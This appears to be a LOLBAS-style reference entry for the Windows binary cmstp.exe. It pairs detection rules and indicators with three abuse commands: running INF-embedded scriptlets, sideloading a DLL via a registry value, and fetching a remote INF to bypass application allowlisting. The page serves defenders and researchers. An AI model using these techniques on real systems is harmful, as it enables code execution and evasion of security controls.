.. /Cmstp.exe
Star

Execute (INF, DLL, Registry Change)

AWL bypass (INF, Remote)

Installs or removes a Connection Manager service profile.

Paths:

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

Resources:

Acknowledgements:

Oddvar Moe (@oddvarmoe)
Nick Tyrer (@NickTyrer)
Naor Evgi (@ghosts621)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml
Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

Execute

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
```
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
```
Use case
Execute code hidden within an inf file. Download and run scriptlets from internet.

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1218.003
Tags
Execute: INF
cmstp.exe reads the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll registry value and passes its data directly to LoadLibrary. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via cmstp.exe.
```
cmstp.exe /nf
```
Use case
Proxy execution of a malicious DLL via registry modification.

Privileges required
Administrator

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1218.003
Tags
Execute: DLL
Requires: Registry Change

AWL bypass

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
```
cmstp.exe /ni /s {REMOTEURL:.inf}
```
Use case
Execute code hidden within an inf file. Execute code directly from Internet.

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1218.003
Tags
Execute: INF
Execute: Remote